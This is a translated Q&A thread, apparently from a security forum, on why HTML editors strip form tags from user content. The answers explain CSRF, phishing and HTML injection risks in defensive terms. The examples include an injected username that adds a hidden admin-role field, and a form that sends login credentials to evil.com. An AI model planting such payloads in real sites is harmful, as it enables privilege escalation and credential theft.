我在 Web 应用程序中有一个内容编辑器，它允许管理员在应用程序的某些区域添加和编辑内容。
我使用的编辑器组件会自动从输入的内容中删除任何脚本标签、点击事件以及基本上所有的 JavaScript。我意识到了这一点，并且是我的 Web 应用程序的故意行为。
我刚刚发现编辑器还会从输入的任何内容中删除表单标签。直到最近，当用户尝试包含 PayPal 按钮时，我才意识到这一点。
我确信这是有充分理由的，但我想不出是什么让form标签比 HTML 链接更危险。
从用户提供的内容中去除form标签，同时允许 HTML 链接的情况是什么？
是的。多少，以及您是否可以允许表格取决于您的具体情况。
带有推荐人检查的 CSRF
如果您的 CSRF 保护依赖于引用检查，而不是令牌，则允许表单意味着您将容易受到 CSRF 的攻击。
当您禁止脚本时，受害者仍然需要实际单击表单，但这可以通过社会工程或 ClickJacking 来实现。
例如，攻击者可以放置一个 paypal 按钮，该按钮实际上会添加一个新的管理员用户，希望您点击它。
当然，这也适用于链接，但仅适用于 GET 请求，不适用于 POST 请求。
具有现有表格的 CSRF
听起来你的过滤器是一个通用过滤器，过滤掉所有可能有危险的标签。但是在某些特定情况下，您绝对不需要表单标签，例如在表单内回显用户输入时。
例如，如果您在管理后端有这样的用户编辑表单：
<form action="admin_user_edit.php">
<input type="text" name="csrf-token" value="[CSRF token]">
<input type="text" name="password" value="[value from database]">
<input type="text" name="username" value="[value from database]">
<input type="text" name="role" value="[value from database]">
<input type="submit" value="Submit">
</form>
现在，用户可以命名自己foobar"><input type="hidden" name="role" value="admin"><input type="submit" value="Submit"></form>。如果他们现在让管理员编辑他们的个人资料，他们将是管理员，而管理员不想让他们成为管理员。
网络钓鱼
表单也可用于网络钓鱼攻击。这同样取决于您的用户输入所在的特定上下文，但从理论上讲，攻击者可以例如显示一个要求登录凭据、信用卡详细信息等的表单，然后将它们发送到他们自己的服务器。
希望受害者不会将表单解释为用户输入，而是属于您的网站。
表单更危险，因为它比简单的链接对用户隐藏了更多的东西，并且可以做不同的事情。
自动删除任何脚本标签、点击事件和基本上任何 Javascript
我认为这意味着它也会删除javascript:...链接。因此，攻击者唯一可以产生的链接是简单的 GET 请求，其中包括在鼠标悬停和单击后的地址字段中清楚地显示给用户（假设浏览器完全这样做；我的配置为所以）。
表单可以使用任意方法（POST 等）并包含任意隐藏内容。地址字段在提交后只会看到动作部分，甚至不会意识到他发送了更多数据，从而开辟了更多的作弊方式。
使用表单的一个非常简单的攻击是显示一个伪造的登录页面（您只需要无害的格式），其操作会导致攻击者的网站。非技术用户只会对论坛提示再次登录感到恼火（“啊！我已经登录了 3 次，为什么还要登录？！”），将输入他的凭据，该凭据将立即传递给攻击者。更多涉及的场景可想而知。
关注 POST 和 GET
GET单击链接时允许请求。表单在提交时允许GET或POST请求。所有GET可以通过表单完成的请求也可以通过链接完成，反之亦然，因此表单允许的额外功能是POST请求。
假设人们坚持 HTTP 动词的意图，一个POST请求会改变服务器的状态，而一个GET请求只是获取信息。POST因此，请求和表格本身就具有更大的风险。
过滤掉表单而不是链接的第一个原因是，让 CMS 的用户在页面上包含链接有明显的正当理由，但表单的合法用途更多的是边缘情况。过滤 HTML 的子集很困难，而且很容易出错或遗漏某些内容，因此禁止所有显然不是必需的内容并不是一个坏主意。¨
表格风险
Tim 在这个答案中已经涵盖了两个主要问题 - CSRF和网络钓鱼-所以我不会在这里重复。我将添加第三个HTML 注入。看看这个例子：
<!-- Beginning of user generated content. -->
This is a normal webpage. Nothing fishy going on, I promise.
<form name="attack" method="post" action="http://evil.com/harvestpasswords.php">
<!-- End of user generated content. -->
<!-- Start of static HTML of page. -->
<div id="footer">
<form name="login" method="post" action="login.php">
<!-- A normal login form here. -->
</form>
</div>
实际上，正常的登录表单现在将嵌套在攻击表单中。这将导致浏览器忽略内部表单标记（因为不允许嵌套表单），因此表单将被提交到攻击者页面。
根据页面上 HTML 的结构，这种攻击可能不起作用。但是为什么要冒险呢？
链接风险
链接还允许使用 和 等协议执行href="javascript:..."脚本href="vbscript:..."。为了避免 XSS 地狱，您需要一个带有允许协议的白名单（这里不会加入黑名单）。